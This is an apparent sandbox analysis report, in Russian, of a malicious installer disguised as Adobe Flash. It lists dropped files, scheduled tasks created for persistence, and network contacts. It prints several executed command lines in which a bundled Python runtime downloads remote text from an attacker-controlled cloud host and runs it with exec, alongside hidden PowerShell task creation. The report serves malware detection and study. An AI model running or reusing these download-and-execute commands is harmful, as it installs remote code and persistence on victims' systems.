Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\system_settings
- <SYSTEM32>\tasks\system_test
- <SYSTEM32>\tasks\system_cdaemon
Изменения в файловой системе
Создает следующие файлы
- nul
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg20.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-default0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-press0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-process0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-null0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-default1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-press1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-process1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-null1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-default0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-press0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\fc_beta_header_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-process0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-default1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-press1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-process1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-null1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading0.gif
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading1.gif
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-e0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-c0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-t0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-e1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-c1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg10.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg11.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\fc_beta_header_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_btn_grey_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-default0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_disable_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_normal_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_hover_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_press_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_disable_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_normal_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_hover_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_press_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_disable_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_normal_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-t1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_hover_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-null0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_hover_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_hover_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_press_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_disable_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_normal_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_hover_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_press_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_disable_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading.gif
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading_200.gif
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_btn_grey_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_press_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_disable_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_normal_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-press0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-c0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-c0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-c0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-bg1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-active1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-e1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-e1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-e1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-c1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-c1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-c1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg21.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-e0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_normal_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-e0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-t1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-t1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-t1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-en-0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-en-1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-cn-0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-cn-1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\customize-line-0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\customize-line-1.png
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\sc[1]
- %TEMP%\adobe_cdmlogs\adobe_gde.log
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-t0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-t0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_press_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-active0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-press0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-default1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-press1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-process1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-disabled1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-customize0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-fold0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-customize1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-fold1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\checked0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\unchecked0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\checked1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-e0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-process0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-disabled0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-hover0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-default0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-press0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-hover0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-default1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-press1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-hover1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-default1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-press1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-hover1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-bg0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-default0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\unchecked1.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_disable_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_press_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_hover_200.png
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\160[1]
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\warning_icon.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_150.png
- C:\users\public\servicehub\_sqlite3.pyd
- C:\users\public\servicehub\sqlite3.dll
- %TEMP%\adobe_cdmlogs\adobe_cdm.log
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_base_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_base_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\transparent.gif
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\gray_button_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\c383b65a-1e4d-4061-be1e-848b3a2508c0\f255a3c1-4bbb-45af-82db-3f96b2b57df2.aamdownload
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_100.png
- C:\users\public\servicehub\_overlapped.pyd
- C:\users\public\flash.exe
- C:\users\public\servicehub\libcrypto-1_1.dll
- C:\users\public\servicehub\libssl-1_1.dll
- C:\users\public\servicehub\license.txt
- C:\users\public\servicehub\pyexpat.pyd
- C:\users\public\servicehub\python3.dll
- C:\users\public\servicehub\python37.dll
- C:\users\public\servicehub\python37.zip
- C:\users\public\servicehub\python37._pth
- C:\users\public\servicehub\servicehub.host.clr.exe
- C:\users\public\servicehub\select.pyd
- C:\users\public\servicehub\_queue.pyd
- C:\users\public\servicehub\_socket.pyd
- C:\users\public\servicehub\servicehub.host.clr.pkg
- C:\users\public\servicehub\vcruntime140.dll
- C:\users\public\servicehub\winsound.pyd
- C:\users\public\servicehub\_asyncio.pyd
- C:\users\public\servicehub\_bz2.pyd
- C:\users\public\servicehub\_ctypes.pyd
- C:\users\public\servicehub\_decimal.pyd
- C:\users\public\servicehub\_elementtree.pyd
- C:\users\public\servicehub\_hashlib.pyd
- C:\users\public\servicehub\_lzma.pyd
- C:\users\public\servicehub\_msi.pyd
- C:\users\public\servicehub\_multiprocessing.pyd
- C:\users\public\servicehub.zip
- C:\users\public\servicehub\unicodedata.pyd
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-t0.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_min_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_min_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_cls_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_cls_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\warning_icon_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_normal_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_hover_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_press_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_disable_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_normal_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_150.png
- C:\users\public\servicehub\_ssl.pyd
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\info_icon_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_base.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\xbutton.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_125.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_150.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_200.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_100.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null.png
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\e0d334c7-7dc2-4891-9d7a-e7be02837ba3\a1b0a820-07d2-400e-87cd-aac98f59f18b.aamdownload
Удаляет следующие файлы
- <SYSTEM32>\tasks\system_test
Перемещает следующие файлы
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\c383b65a-1e4d-4061-be1e-848b3a2508c0\f255a3c1-4bbb-45af-82db-3f96b2b57df2.aamdownload в %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\c383b65a-1e4d-4061-be1e-848b3a2508c0\f255a3c1-4bbb-45af-82db-3f96b2b57df2
- %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\e0d334c7-7dc2-4891-9d7a-e7be02837ba3\a1b0a820-07d2-400e-87cd-aac98f59f18b.aamdownload в %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\e0d334c7-7dc2-4891-9d7a-e7be02837ba3\a1b0a820-07d2-400e-87cd-aac98f59f18b
Изменяет следующие файлы
Сетевая активность
Подключается к
- 'fl############erver.oss-cn-hongkong.aliyuncs.com':80
- 'fl############erver.oss-cn-hongkong.aliyuncs.com':443
- 'fl##h.cn':443
- 'fusionpings.adobe.com':443
- 'stats.adobe.com':80
TCP
Запросы HTTP GET
- http://stats.adobe.com/b/ss/adbacdcprod/1/H.25.4/s31563663162945?AQ##############################################################################################################################...
UDP
- DNS ASK ba##u.com
- DNS ASK fl############erver.oss-cn-hongkong.aliyuncs.com
- DNS ASK fl##h.cn
- DNS ASK ap#.#lash.cn
- DNS ASK fusionpings.adobe.com
- DNS ASK stats.adobe.com
Другое
Ищет следующие окна
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
- 'C:\users\public\flash.exe'
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
- '%WINDIR%\syswow64\ping.exe' baidu.com' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c "C:\Users\Public\vc.exe /install /quiet /norestart"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...' (со скрытым окном)
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a' (со скрытым окном)
- 'C:\users\public\flash.exe' ' (со скрытым окном)
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\ping.exe' baidu.com
- '%WINDIR%\syswow64\cmd.exe' /c "C:\Users\Public\vc.exe /install /quiet /norestart"
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $tas...
- '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_SETTINGS
- '<SYSTEM32>\taskeng.exe' {DD4A0FF5-6008-4933-BF19-B834417FA713} S-1-5-21-1960123792-2022915161-3775307078-1001:eleratynvwre\user:Interactive:[1]
- '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_TEST
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN SYSTEM_TEST
- '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_CDAEMON
